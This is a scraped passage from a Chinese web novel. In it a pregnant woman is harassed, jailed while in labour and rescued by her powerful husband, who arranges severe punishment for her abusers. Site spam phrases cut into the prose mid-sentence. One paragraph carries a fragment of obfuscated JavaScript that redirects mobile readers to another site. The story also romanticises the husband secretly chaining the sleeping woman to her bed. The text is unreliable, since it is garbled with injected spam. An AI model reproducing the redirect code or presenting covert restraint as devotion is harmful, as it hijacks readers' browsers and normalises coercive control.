“我肚子里是两条命，你们敢动我试试！ 这两个公社的人脸色彻底变了。 他们显然没想到，一个从外面来的孕妇，敢把话说到这个地步。 这两个人也没有再接她的话，只冷着声说了一句：“这件事我们会继续调查。 说完就让人把李安解下来，拖着往外走。 李安还想回头说什么，被人一推，踉跄着出了晒谷场。 人一走，场子上的气氛才重新活了过来。 言昭心里却清楚，这所谓的调查，多半就是不了了之。 这还是她怀着两个孩子，不然就算当官的自己也不怕！ 现在也不管怎么样，人被带走了，以后就看不到这个恶心的人了。 言昭刚缓了一口气，就听见旁边“呸的一声。 大队长媳妇朝地上吐了口唾沫，阴阳怪气地说：“装什么清白。 这话一出，楚婶一下子炸了，乡下人怕当官的，可不怕一个村的。 楚婶往前一步，袖子一撸，声音拔得老高—— “你还有脸说别人？你家闺女干的那点破事全村谁不知道！ “挺着肚子就往人家屋里钻，裤腰带都系不住的东西，还好意思在这儿装正经！ “当初不是你们哭着喊着让人娶的吗？不然谁要你家那破鞋！ “天天端着个架子，背地里连个爷们都拴不住！ 骂得一句比一句难听。 晒谷场上的妇人立马憋不住笑出声。 大队长媳妇脸一下子涨得通红，扑上来就要撕人：“你胡说八道！ 楚婶哪还怕她，直接把人往外一推：“我胡说？要不要把你闺女当年在苞米地里被人逮住的事再说一遍！ 这一句出来，周围的人彻底炸开了。 大队长站在一旁，脸黑得像锅底，呵斥了一声：“都给我闭嘴！他猛地转头瞪向自己媳妇，声音压着火气：“你再开口一句，我就休了你，让你回娘家！ 这话一出来，大队长媳妇整个人都愣住了。 自己都这么大岁数了，哪里还有娘家，这当家的竟然当众不给自己面子。 你的朋友正在书荒，快去帮帮他吧 大队长媳妇刚想喊不想活了，可现在当家狠狠瞪她，明显是来真的，一时间还真的不敢说话。 在场的人也跟着一静。 谁都没想到他会把话说到这个份上。 大队长胸口起伏得厉害，心里的憋屈一股一股往上顶。 李安是个什么货色，他比谁都清楚。 当初死活不同意这门亲事，可闺女自己先跟人睡在了一起，事情传开，他这个当爹的脸都没地方放，只能咬着牙把婚给办了。 婚是结了，日子却一天都没好过。 闺女整天在屋里哭，李安在外头游手好闲，名声臭得整个生产队都抬不起头。 他这个大队长走到哪儿都被人指指点点。 现在事情还闹成这样，他要是还护着李安，这个队长也不用当了。 大队长深吸了一口气，声音沉下来：“以后李安不是我们家的人，我也不会让他回到咱们队里来，你们放心。 这一句，等于是彻底撇清。 楚婶冷哼了一声，没再骂。 …… 言昭原以为这件事就算过去了。 她这几天几乎不出门，靠在炕上掰着指头算日子，想着自己大概还有多久要生。 这时院子外突然传来说话声。 “在这儿？ “就这破土坯房？一看就是个危房。 那声音又尖又挑。 言昭扶着炕慢慢坐起身，还没来得及下地，就看见院门被推开。 李安竟然回来了。 脸上青一块紫一块，身边跟着一男一女，还有两个年轻男人。 那妇人一进院子，眼睛就从头到脚把言昭扫了一遍，满脸嫌弃。 “就你污蔑我儿子糟蹋你？她冷笑，“你一个挺着肚子的，说谎也不怕报应落在孩子身上？ 话音刚落—— “砰！ 一块砖头从院门口飞进来，狠狠砸在她脚前的地上，直接碎成几块。 土屑溅得她裙子上全是灰。 那妇人吓得尖叫一声往后退。 院门口，楚婶拎着半截砖头站着，脸色铁青。 “你再拿我侄女肚子说一句试试！ 楚婶声音又急又狠，整个人挡在言昭前面。 楚云也冲进来，一把扶住言昭的胳膊。 那两个年轻男人脸色一沉就要往前冲，院子外已经有人听见动静往这边跑。 “干什么的！ “又来闹事？ 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 没一会儿，门口就站满了人。 刚刚还嚣张的几个人，一下子被堵在院子中间。 言昭扶着门框站着，脸色发白，手还稳稳护在肚子上。 她慢慢开口，声音不高，却一字一顿—— “是啊，这报应我也盼着早点来。 “我就盼着那个污蔑人的，一家子断子绝孙，出门就被车撞死，埋进土里也不得安生，让野狗拖出来啃个干净。 院子里瞬间安静了一下。 那妇人脸色铁青，嘴唇都哆嗦起来。 妇人显然也是没料到言昭会把话说得这么狠，脸上的表情先是一僵，随即整张脸都扭了起来。 “你个嘴烂的东西！她指着言昭就骂，“挺着个肚子在这儿装什么清白？没男人还怀着孩子，我看你就是个到处勾搭野男人的货色！ 她越骂越起劲，声音尖得刺耳。 “我儿子老老实实的人，被你这种女人赖上，真是倒了八辈子霉！ 言昭看着那妇人越骂越难听，心里反而一下子清醒了。 他们就是故意的。 一句比一句狠，就是想激怒她，让她动气，让她肚子出事。 她的手慢慢压在肚子上，深吸了一口气，把那股往上冲的火气一点点往下压。 不能乱。 孩子要紧。 就在这时，楚婶已经冲了出来，手里的扫帚抡得呼呼作响，直接往那几个人身上拍。 “滚！再不滚我拿粪叉捅你信不信！ “你儿子那点腌臜事全队都知道，还在这儿装什么清白！你们一家子才是祖坟冒黑烟的东西！ 楚云也被气得眼睛通红，在旁边骂：“跑别人家门口咒人孩子，你们全是畜生！ 村里的人早就看不下去了。 这好歹是自己生产队的人，被外头的人堵在院子里骂成这样，谁脸上都挂不住。 “哪来的泼妇！ “跑到我们队里撒野来了？ “你儿子干的破事全队都知道，还敢来闹！ 骂声一片。 有男人直接上前，把那两个年轻人往外推。 院子口一下子乱成一团。 李母还想再张嘴，被扫帚结结实实拍在肩膀上，疼得直叫。 …… 县城。 一辆黑色汽车停在省政府门口。 后座坐着三个人。 靠窗的是两个穿着中山装的男人，神情拘谨，一路上几乎没怎 听说看这本书的人都是很幸运的，分享后你的运气会更棒 么说话。 车子刚一停稳，两人就同时转过身，语气带着明显的讨好与小心：“顾教授，到了。” 坐在中间的人一直没动。 车窗外的光透进来，他才慢慢坐直身子，像是刚从长时间的思考里回过神。 他呼出一口气。 头上的连体帽顺着动作滑落下来，一张过分好看的脸露了出来。 五官精致，肤色冷白，唇线干净，眉眼之间带着一种天然的疏离感。 那种好看不是温和的，而是带着压迫的存在感，让人不自觉放轻呼吸。 是顾煜。 他抬眼看了一下车窗外的建筑，神情已经恢复成一贯的冷静。 旁边两个人见他没有说话，更加不敢催。 过了一会儿，他才开口，声音低而平稳：“人找到了吗？” 车厢里的空气瞬间绷紧。 两个人对视了一眼，其中一个立刻回答：“已经有方向了，在下面县里，具体生产队还在核实。” 顾煜没有再说话。 只是把手搭在膝上，指尖慢慢收紧。 那一瞬间，车里的温度像是降了下来。 半天过去，天已经黑透，县政府的办公室里只开着一盏灯。 顾煜坐在椅子上，一动不动。 背脊挺得很直，眼神却空着，像是整个人被抽掉了情绪，只剩下一具壳子。 而桌上的茶水早就凉了。 门口还站着两个人。 他们是一路跟下来的保镖。 他们看着那道背影，觉得太安静了。 安静得让人发慌。 他们都见过顾教授以前的样子。 刚出事那阵，他整个人像失控了一样，情绪一旦上来，谁都拦不住，砸东西，动手，甚至有一次直接把玻璃捏碎，手上全是血也没感觉。 后来领导请了心理医生，强行把人稳下来。 那段时间他变得极端暴躁，说话带着压不住的火气，眼神一冷，旁边的人连呼吸都要小心。 再后来。 就成了现在这样。 不说话。 不发火。 整个人像被抽空了一样。 坐在那里，一动不动。 他们倒是宁愿顾教授发脾气。 屋子里只有墙上挂钟的声音，一下一下地走。 茶水凉透了，他连看都没看一眼。 其中一个保镖忍不住低声说：“这样下去不行……” 另一 听说看这本书的人都是很幸运的，分享后你的运气会更棒 个立刻摇头，示意他闭嘴。 门忽然被推开。 一个中年男人快步走进来，神色慌张，额头都是汗。 陪同的那两个中山装男人对视一眼，下意识就想往外走，准备出去听汇报。 还没走到门口。 顾煜的头慢慢侧了过来。 动作有些僵。 声音冷得没有温度：“你们要去哪？” 两个人脚步一顿。 “就在我面前说。” 办公室里的空气一下子凝住。 那中年男人眼神躲闪，不敢抬头。 两个中山装男人也知道顾煜的性子，最后只能对中年男人点头：“你就在这说。” 中年男人喉咙滚了一下，低着头开口：“人……找到了。” 话音刚落—— 顾煜整个人像是突然活了过来。 刚才那种空洞的死气瞬间散得干干净净。 他的目光猛地落在中年男人身上。 “在哪。” 声音压得很低，却带着明显的急促。 中年男人被他盯得心里发紧，赶紧说：“在派出所……” 顾煜已经站起身。 椅子被带得往后移了一下，发出刺耳的声响。 他连外套都没拿，直接往门口走。 两个中山装男人赶紧追上去：“顾教授，我们坐车去。” 顾煜的脚步没有停，手指在身侧微微发抖。< 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言昭整个人弓了起来手死死抓住木板边缘指节都泛白。 冷汗瞬间从额头滚下来。 她忍了一会儿还是没忍住 外面看守的人走过来皱着眉往里看。 “装什么装。” “刚才在外面不是挺厉害的吗。” 言昭疼得说不出话呼吸一阵一阵发乱。 下一瞬一股热流从身下涌出来。 顺着腿往下淌。 地上很快湿了一片。 那人愣了一下骂声卡在喉咙里。 “……羊水破了！” 外面顿时乱起来。 锁链哗啦一声被打开。 有人冲进来。 “快去叫人！” “这女人要生了！” 言昭已经听不清他们在喊什么了。 疼痛一阵比一阵狠她整个人像被撕开一样指甲在木板上刮出刺耳的声音。 就在她眼前发黑的时候—— 一道身影闯进视线。 逆着门口的光。 高高瘦瘦。 她熟得不能再熟的轮廓。 言昭猛地睁大眼。 呼吸都停了一瞬。 她眨了眨眼眼泪被震出来。 怕是自己疼出幻觉。 那人已经冲到她面前。 顾煜的脸近得几乎贴上来。 那张一向冷静到可怕的脸此刻全乱了。 眼睛红得吓人呼吸急得不像他。 他看见她躺在地上身下全是水和血整个人都在发抖。 那一瞬他像被人从胸口掏空。 “昭昭……” 声音哑得不像话。 他伸手去碰她又不敢用力指尖都在抖。 自己心心念念找了这么久的人。 竟然是在这种地方。 被关在铁栏杆里。 疼成这样。 身边一个帮忙的都没有。 顾煜的目光在那几个人脸上扫过那一瞬间他是真的动了杀心。 可怀里的人在发抖呼吸乱得不成样子手死死抓着他的衣襟。 “疼……” 那声音轻得几乎听不见像一把钝刀子狠狠扎进他心口。 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 顾煜整个人僵了一瞬，所有翻涌上来的暴戾被他生生压下去。 他低头贴着她的额头，声音哑得发紧：“去医院，我们现在就去医院。” 他说完直接把人打横抱起来。 言昭身下的羊水已经浸透了他的衣服，他却连看都没看一眼，只是一遍遍低声叫她的名字，让她别睡。 门口那两个中山装男人已经脸色发白，他们刚刚只来得及听了个大概—— 一个临产的孕妇被关进牢房无人理会，而这个人，是顾煜的妻子。 他们找了很久的人。 一个人转身就往外跑，声音都变了调：“车！立刻准备车！去县医院！让妇产科全部到位！” 另一个人则直接冲进办公室，门被一脚踹开，屋里的人还没反应过来，他已经把证件狠狠拍在桌子上。 红色封皮摊开的那一刻，屋子里的人脸色瞬间变了。 “全部停下手里的事。”他的声音压着怒火，一字一顿，“刚刚参与抓人的，值班的，审讯的，一个不许漏，全部带回来！” 派出所里瞬间乱成一团，刚才还站在门口指指点点的人被直接按在墙上，手铐哗啦作响，有人腿一软差点跪下去，连辩解都说不完整。 而这个人这么做，也是为了救下这群人。 不然顾教授那个性子，这群人全会死！ 就算国家不同意，就顾教授这个脑子，想弄死人还是很简单。 这边顾煜抱着言昭往外走，院子里的人自动让开一条路，没有一个人敢出声。 他的脸白得吓人，眼底红得像要滴血。 车子已经停在门口，后座的门被提前拉开，他坐进去，把言昭紧紧抱在怀里。 车子猛地启动，油门踩到底，喇叭一路按着不放，县城的街道被硬生生清出一条路。 顾煜低着头，额头抵着她的额头，那双一向稳得可怕的手此刻一直在发抖，他一遍遍叫她的名字，让她看着自己，让她别睡。 言昭的意识已经开始发散，疼得连回应的力气都没有，只凭本能往他怀里靠。 顾煜好害怕，他浑身颤抖着：“昭昭，别怕。” …… 手术室的门在眼前合上的那一刻，顾煜整个人像被抽走了支撑。 走廊的灯白得刺眼，空气里全是消毒水的味道。 他站在那里，一动不动。 怀里已经空了，可他的手还保持着抱人的姿势，指节僵硬得发白。 站在一旁的那位中山装男人，他连呼吸都放轻了。 过了一会医生走出来，顾煜猛地抬头。 “孕妇怀的是双胎，月份足，但她之前受过惊吓，又有明显劳累，目前生产风险很高……” 顾煜的喉结动了一下：“保大人！” 他说这三个字的时候声音低得发哑，没有半点犹豫。 医生点头，又补了一句：“我们会尽全力。” 门重新关上。 顾煜“砰”地一下跪在地上。 膝盖砸在地面的声音沉闷又刺耳，整条走廊的人都被震住了。 他整个人往前倾，双手猛地抓进自己的头发里，指节用力到发白，像是要把头皮都撕下来。 紧接着顾煜开始一下一下狠狠往自己脑袋上砸。 没有留力。 “砰——” “砰——” 闷响在空荡的走廊里回荡。 那个中山装男人冲过来用力抓住顾煜双手。 第74章 上锁了，锁住她手了 顾煜像是完全感觉不到疼。 他的呼吸乱得不像人，喉咙里压着声音，低得发裂。 “是我……” “都是我……” 声音被他死死压在喉咙里，像野兽濒死时的嘶吼。 他又狠狠砸了一下自己的头，额角直接撞在地上，血瞬间渗出来。 整个人蜷在那里。 背脊绷得像一张拉到极限的弓。 “我怎么敢……” “我怎么敢把她丢了……” 他一只手还抓着自己的头发，另一只手用力捶着地面，骨节很快裂开，血顺着指缝往下淌。 却一点声音都不肯放出来。 所有的崩溃都被顾煜死死压着。 那种压抑到极致的哭腔，在胸腔里一下一下撞击着。 像要把人撕碎。 走廊里没有一个人敢出声。 只听见他断断续续的呼吸声。 粗重。 发抖。 完全不像那个永远冷静、永远掌控一切的顾教授。 他整个人低到尘埃里，额头抵着地面，肩膀控制不住地颤。 产房里的灯光亮得刺眼。 言昭整个人被汗浸透，头发一缕一缕贴在脸侧，唇色发白，呼吸乱得不像自己的。 护士一边给她擦汗一边在她耳边不停地说话，让她放松，让她跟着节奏来。 言昭疼得眼前一阵一阵发黑。 那种从腰腹深处翻上来的撕裂感几乎要把她整个人劈开，她的手死死抓着床单，指节绷得发白，手背上的青筋一根一根凸起来。 她听见自己喉咙里溢出的声音，可还是硬生生咬住了牙。 上辈子言昭听过的一些话出现在脑海中。 那就是生孩子不能慌，越慌越生不下来。 她不能乱。 言昭闭上眼，跟着医生的声音一点一点调整呼吸。 吸气。 忍住。 用力。 疼到极致的时候，她的身体在发抖，意识一阵一阵往下沉，她几乎要晕过去，可又在下一波宫缩来临时被硬生生疼醒。 护士在她耳边喊：“很好，就是这样，别喊，攒着力气！” 她真的没有再叫。 只有压在喉咙里的喘息声。 一下一下。 断得厉害。 汗顺着她的鬓角往下流，打湿了枕头。 医生看了一眼情况，声音明显加快：“已经开全了 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 ，第一胎要出来了，再来一次！ 言昭的指尖狠狠抓进床单里。 她脑子里什么都没有。 只有一个念头。 活下去。 把孩子生下来。 再用力的一瞬间，她眼前彻底发白，耳边所有声音都像被水淹住。 下一秒—— 一声清亮的婴儿啼哭猛地炸开。 言昭整个人一松。 眼泪一下子从眼角滑出来。 她甚至还没来得及喘一口气，第二波剧痛已经卷上来。 医生的声音又落下来：“很好，还有一个，坚持住！ 言昭的手又一次抓紧…… …… 言昭也不知道自己昏睡了多久。 意识一点一点浮上来的时候，最先感觉到的是身体深处还没散去的钝痛，像是被人拆开又重新拼回去，每动一下都牵扯着酸胀。 她本能地想去摸肚子，手刚抬起一点，就被一只温热的掌心轻轻按住。 那只手很熟悉。 指腹贴在她脸颊上，带着一点微不可察的颤。 言昭费力地睁开眼，视线模糊了好一会儿才慢慢聚焦。 映入眼帘的是顾煜的脸。 那张她日思夜想的脸。 只是现在完全变了样。 眼睛红得厉害，眼眶肿着，像是很久没有睡过觉，额头缠着一圈纱布，连一向打理得一丝不苟的头发都凌乱下来，整个人瘦了一圈，神色疲惫得不像他。 他看见她睁眼的那一刻，呼吸猛地乱了一下。 掌心贴在她脸上的力道轻得不能再轻，像是怕她疼。 “昭昭…… 声音哑得发裂。 言昭喉咙干得厉害，说不出话，只是眼睛一眨不眨地看着他。 她以为自己是在做梦。 顾煜已经低下头，额头轻轻贴在她的额头上，整个人压得很低，像是终于确认她真的醒过来了。 他的肩膀在发抖。 那种极力压着却压不住的抖。 过了好一会儿，他才重新抬起头，眼睛通红地看着她，声音低得不像话。 “昭昭，你吓死我了。 言昭的眼眶一下子湿了，“你是不是很生气。 她怀着孕一个人跑了。 肯定会生气。 顾煜几乎是在她话音落下的瞬间就把人抱进了怀里，动作重得像是要把她揉进骨血里。 可碰到她身体的时候又猛 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 地收住力道，只敢用手臂圈着她的肩。 顾煜整个人低下来，呼吸贴在她颈侧，烫得厉害。 “没生气，我不生气。” 他的声音哑得发紧，像是喉咙里压着什么，“我只是担心，很担心。我每天都在想你会不会出事，你是不是一个人吃不好，睡不好，有没有人欺负你。 你明明答应过我，只能在我身边待着，你说你已经没有别的地方可以去了，那你为什么还能离开我这么久。” 顾煜说到最后，声音低得几乎听不见，额头抵在她肩上，整个人像是终于撑不住了，“是不是……我对你来说不重要。” 言昭是真的慌了，她急得伸手去抓他的衣服，眼泪一下子掉下来，“不是不是，我很想你，我每天都在想你。” 她的声音也乱得不成句，“我只是……我只是害怕，害怕我要是留下来生孩子你会不高兴，我也怕你为了我答应，然后哪天后悔……” 顾煜猛地抬起头看她，那双眼睛红得吓人，“我是后悔，后悔是我不应该对你用这种强硬手段，我……对不起，昭昭，都是我的错。只要你待在我身边，我都不会后悔，我发誓。” 他在这十个月里反复翻涌一些发疯的念头。 如果自己能早点弄个锁链，早点把她锁住。 顾煜一遍一遍回想她离开的那天，去推算每一个细节，去想自己当时要是换一种做法会怎样。 那些念头阴暗又偏执。 顾煜低下头，额头轻轻抵在她的手背上，呼吸发颤，“是我不好，让你一个人受了这么多苦。” 言昭这段时间在外面颠沛流离，也算是让她明白，顾煜对自己有多好。 病房里安静下来，只剩下两个人呼吸声。 这时旁边小床上的孩子轻轻动了一下，发出细小的哼声。 言昭这才猛地想起孩子，神色一下子慌了，急急往那边看去。 顾煜几乎是在她视线转过去的同时就明白她在找什么，立刻侧过身，把位置让开一点。 小床上放着两个小小的襁褓。 一粉一蓝，安安静静挨在一起。 “孩子都在，一个儿子，一个女儿。” 言昭的眼泪一下子滚了下来，哽咽道：“孩子都好好的。” 顾煜伸手去给她擦，可她的眼泪却越擦越多，他的手指也跟着发抖，最后干脆俯下身，小心翼翼地把她抱进怀里，又不敢用力，只敢虚虚圈着。 像是抱着失而复得的命。 言昭稀罕完孩子 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 ，小心翼翼观察他的脸色。 他的目光一直在她身上，那种专注温柔的样子让她心里又酸又自责。 言昭唇瓣动了动，小声说：“我是真的很喜欢孩子，而且你结……结扎了，我也想着总要有个念想，我们以后就一起生活就好了。 顾煜从这句话里面听出了奇怪，他盯着她看了好一会儿才低声开口：“昭昭，有两个孩子还不够你念想吗？ 言昭看他没理解到自己的意思，她脸颊一下子红了起来。 这种话她本来就说得艰难，更何况还牵扯到男人的脸面。 顾煜看着她这副模样，几乎不用她再开口就明白她脑子里在想什么。 他本来紧绷着的神情忽然松了一点，眼底甚至浮起一丝久违的情绪。 他低下头靠近她，声音压得很低，在她还没反应过来的时候直接咬住她的耳垂，带着一点惩罚似的轻磨，“昭昭，男人结扎也不是你想的那样割掉，是阻断，你要是想听得再具体一点，我也可以慢慢讲给你听。 顾煜说到这里停了一下，像是故意看她反应，眼底的情绪一点点变深，声音低得发哑，“所以我在床上也不会有任何影响。 他说着就往言昭身上靠。 言昭感觉到什么，她整个人都僵住了，脸也红得像要滴血。 后面她靠在他怀里，一遍一遍跟他道歉。 说自己当初不该一声不吭就走，说自己当时脑子乱，说自己其实第三天就后悔了。 本来想回来，可一想到那天看到他身边有女人，又以为自己留下只会让他为难，才越走越远。 顾煜当然解释，他低头在她头发上亲了一下，解释道：“那是我的心理医生，就让她在身边待了一天，是领导安排的。 言昭连连点头。 她又指着顾煜额头的伤口，问这是怎么回事？ 顾煜随便胡扯了个借口。 他现在表面上还是那副温柔的样子，手指轻轻顺着她的头发，时不时“嗯 可只有他自己知道，胸口那股躁动已经压到极限。 尤其是在听见她离开自己后发生了什么。 每一句话都像是往他心口里钉钉子。 那些画面在他脑子里自动拼出来。 她一个人挺着肚子，被人围着指指点点。 她一个人躲在屋子里不敢出声。 她被关在那种地方临产却没人管。 顾煜的手指不自觉地收紧了一瞬，又立刻松开 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 ，怕弄疼她。 他低着头，脸贴着她的发顶，呼吸很慢，看起来像是在认真听她说话。 只有眼底的情绪一点一点沉下去。 阴得发冷。 他现在只要一闭眼，脑子里就是那些人。 杀了太便宜他们。 死了就结束了。 他要他们活着。 活得比死还难受。 顾煜的下颌线绷得很紧，却在她抬头看他的时候立刻放松下来，甚至还低声问她：“后来呢？ 语气温柔得不像话。 言昭没有察觉他的情绪，只是继续把这段时间的事说完。 说到楚婶怎么护着她，说到生产队的人怎么帮她，说到自己快生的时候有多害怕。 顾煜听到她说：“我当时真的以为自己撑不过去了。 他手指猛地顿了一下。 那一瞬间，他眼底的情绪几乎失控。 他低下头，亲了一下她的发顶，声音依旧温柔：“现在没事了，你以后都要乖乖在我身边。 …… 后面的日子里，顾煜几乎没有离开过病房。 白天他就坐在床边。 看她喂奶、看她睡觉、看她醒来时第一眼是不是在找自己，连她翻个身他都会下意识伸手去扶。 夜里他更是不肯合眼，哪怕医生说她和孩子都已经稳定了，他还是一遍一遍去摸她的呼吸，确认她是真的在。 只有在言昭睡得最沉的时候，他才会起身离开一小会儿。 那时候，他会很轻地把一截细细的链子扣在她手腕上，另一端锁在床架上。 链子很松，不会勒到她。 顾煜走到门口的时候，还是会回头看一眼，确认那只手还在原地。 等他回来，又会第一时间把锁解开，把链子收好，然后坐回床边，用自己的手把她的手整个握住，十指扣紧。 只有这样，顾煜才真正安心。 而他离开的那一点点时间，也不是去休息。 医院外的夜色很沉，载他的车直接停在了县公安局后门。 走廊尽头的铁门被打开的时候，灯光冷得刺眼。 牢房里关着的几个人已经完全没了之前的样子。 王二柱浑身还是绷带，他半年之前被顾煜揍的半死，现在还没好全。 现在他缩在角落里，脸色灰败，连抬头的力气都没有。 李安的腿被打了石膏，整个人瘫在地上，看见有人进来时本能地往后缩。 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 公社来的那两个也在里面，身上的中山装已经换成了囚服，神色惊惶。 旁边还有几个陌生面孔。 最里面的铁床上，坐着一个头发花白的老男人。 顾煜站在门口，没有往里走。 他的表情和在病房里时完全不同。 没有一点温度。 顾煜把所有属于人的情绪都留在了言昭身边。 他只是淡淡地看着里面的人。 那一眼落下去，牢房里原本的窸窣声瞬间全没了。 王二柱最先崩溃。 他几乎是本能地往后缩，整个人贴着墙角滑下去，双手抱着头，脑袋死死埋在腿间，连看都不敢看一眼，嘴里一遍一遍地念叨：“我错了……我真的错了……” 他的声音抖得不像人，牙齿都在打颤。 那天在铺子里发生的事，他到现在都还会在梦里惊醒。 那种被人盯着却连逃都逃不了的感觉，比死还可怕。 李安躺在另一边的铁床上。 他已经不能算是一个完整的人了。 肋骨断了好几根，腿打着厚厚的石膏，脸上还残留着没消下去的青紫，整个人瘦得脱了形。 那天夜里发生的事，他到现在都想不明白。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338043|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >没人的死角。 没有人看见。 只有一双手。 一拳一拳落下来。 冷静得像是在做一件精确计算过的事。 差一点就把他打死。 后来公安把他救出来的时候，他连喊都喊不出来。 现在他被扔在这里，不送医院，也不处理，只是吊着一口气，也是怕顾煜把他弄死。 李安以为自己后台够大，他忍不住看向不远处那位老人。 他以为言昭不过是个被人玩腻了丢出来的女人，长得再好看也不过是个没依靠的，肚子里还怀着野种，在他眼里这种女人就是一个破鞋而已。 可现在他才知道—— 那是有人护着的。 而且是护到可以把他们全都踩进泥里的那种。 那两个公社的人缩在另一边。 他们的样子比王二柱还要狼狈。 身上的衣服皱得不成形，脸色灰白，眼下乌青，像是几天几夜没合过眼。 从被带进来到现在，他们已经把能问的都问完了。 帮李安压事的那一批人，一个没跑，全被拎了出来。 他们本来还抱着一点侥幸，以为最多就是挨顿处分，过 你的朋友正在书荒，快去帮帮他吧 段时间还能调回去。 可当名单一条一条念出来的时候他们的腿就软了。 每一个名字后面都跟着处理结果。 撤职。 隔离审查。 移交。 他们这才明白这不是普通的案子。 是有人在上面盯着一层一层往下掀。 是因为他们亲自把一个临产的孕妇抓进来的。 这个事实成了他们最重的罪。 所以他们的下场比任何人都惨。 两个人看见顾煜的时候整个人都在抖。 那不是单纯的怕。 是彻底明白自己完了的那种绝望。 他们嘴唇动了动 因为他们知道到了这个地步说什么都没用了。 而李安背后的那层关系此刻就坐在最里面的铁床上。 头发花白的县长整个人像是老了十岁。 他没有像其他人一样慌乱。 也没有求饶。 只是低着头坐在那里整个人的气息都沉下去。 从自己被带进来的那一刻起他就明白自己这张保护伞已经在劫难逃。 顾煜站在门口的那一刻他想到自己怎么搜索都搜索不到那个在系统里只存在于内部文件里的名字。 那个连京市过来都要客气对待的人。 他当了一辈子官第一次觉得自己的位置原来这么轻。 县长抬起头看了顾煜一眼。 那一眼里没有怨也没有恨。 只有疲惫。 他轻轻叹了口气。 像是对自己这一辈子做的所有选择做了个结论。 他知道自己的下场已经写好了。 顾煜看到这群人活得不好才来到办公室。 后续的所有处理结果是一份一份送到他手上的。 厚厚一叠材料放在桌面上他坐在灯下一页一页翻。 每一页都写得清清楚楚。 王二柱。 前科累累。 诱骗未成年少女数人长期以“介绍工作”“借住”为名行不轨之事其中一人曾报案却被压下去还有一次构成实质性强暴因为当事人被家里强行带走而不了了之。 这些案子原本散在各个角落没有人去认真追。 这次全部被重新翻出来。 证人、笔录、时间线一条条补齐。 最后落下的定性只有两个 你的朋友正在书荒，快去帮帮他吧 字—— 死刑。 顾煜的目光在那两个字上停了一秒。 没有任何情绪。 他翻到下一份。 李安。 比王二柱更脏。 在生产队这些年，借着知青身份和队长女婿的关系，先后对几名妇女进行骚扰、威胁，其中两起构成强奸未遂。 因为当事人碍于名声没有追究，而他还长期倒卖粮票、侵吞集体物资、伪造证明。 最关键的一条—— 他受过贿赂，参与过压案。 替人牵线，把无辜的人送进牢房。 这条线一出来，整件事的性质就彻底变了。 现在保护伞没了之后，所有人都在自保。 原本替他说话的，现在第一个出来指认。 材料最后的判决结果同样是—— 死刑。 而且是立即执行。 顾煜把文件合上。 单位派过来跟在顾煜身边的那两个男人，看着顾教授那张没有一丝情绪的脸，心里直发紧。 这段时间他们几乎是提着命在陪着他，只盼着那两份死刑判决能让这位祖宗心情稍微好一点。 他们看着顾煜把判责文件从头看到尾，又像什么都没看见一样合上，脸上没有半点波动。 顾煜淡淡地点了下头，站起身说：“跟他们说，我答应的十个项目会如数完成。” 这句话一出来，两个人几乎是同时松了一口气，紧绷了许久的神经终于松开，脸上刚露出一点劫后余生的笑意。 可他们脸上的笑意还没完全展开，就被顾煜那一眼生生钉在原地。 顾煜的眼睛很冷，冷得没有一点活气，像是把所有情绪都剥离干净之后剩下的东西。 “我家昭昭那么惨，你们这么高兴吗。” 两个人背脊瞬间绷直，脸上的表情在极短的时间内收得干干净净，连呼吸都变得规矩起来。 其中一个人立刻开口，语气郑重：“顾教授放心，后续牵扯到的人，一个都不会漏，他们犯的罪都已经在走程序。” 另一个人也跟着点头：“全部在查。” 顾煜看着他们，没有再说话。 那种沉默比发火更让人心里发紧。 过了几秒，他才淡淡地点了一下头，像是对这个回答勉强算是认可，然后转身往外走。 两个人一直等到他的背影消失在走廊尽头，才敢真正呼出一口气，后背的衬衣都已经被冷汗浸湿。 车子开回医院的路上，车厢里安静得几乎能听见呼吸声。 顾煜靠在后座，闭着眼，一动不动。 谁都不敢开口。 直到车停下，他才睁开眼，下车的时候只丢下一句：“医院这边闲杂人等不准靠近。” 那两个人同时点头，答得干脆利落：“是。” 病房的门被他推开的时候，里面的灯是暖的。 言昭还在睡，呼吸很轻，孩子也睡得安安静静。 他站在门口看了一会儿，整个人那股阴沉的气息才慢慢散掉。 走过去的时候动作放得很轻，他坐在床边，手伸过去，小心地把她的手包进掌心。 那一瞬间，他脸上的所有冷意都消失了。 只剩下一点疲惫和几乎压不住的温柔。 哪知道这个时候言昭睁开眼睛…… 第75章 顾煜吃醋到脑袋炸裂 言昭还没完全清醒眼睛里带着一点刚醒来的水汽视线却已经落在他脸上。 顾煜和她对视的那一瞬间呼吸明显乱了一下。 他几乎是本能地收紧手指把她的手往被子里带掌心压着那截冰凉的锁链往下藏动作快得连他自己都觉得突兀。 他脸上的神情也在下一秒硬生生稳住弯出一个温柔的笑：“昭昭你醒了。” 他说完就俯身过去在她脸颊上轻轻亲了一下。 言昭眨了眨眼声音还带着点刚醒的软：“你去哪了？” 这是她第一次发现他不在。 虽然顾煜离开一会也很正常只不过…… 她的视线慢慢往下移。 顾煜心口猛地一紧。 他没有再去遮反而握得更紧了一点语气依旧轻：“去处理点事情我吵到你了吗？” 言昭摇头她手指在他掌心动了动就跟着碰到了那一圈冰凉的金属。 她醒过来发现自己被锁住了。 此时空气一下子安静下来。 顾煜脸上的笑意还在 言昭抬头看他声音很轻：“你怎么把我锁起来了？” 顾煜喉结动了一下没有否认也没有解释只是更用力地握住她的手低声说：“昭昭你刚生完我怕你乱动扯到伤口。” 这个理由温柔又合理。 他的指腹一下一下摩挲着她的手背像是在安抚她又像是在安抚自己声音低得几乎贴着她的呼吸：“等你好一点我就解开。” 言昭看着他。 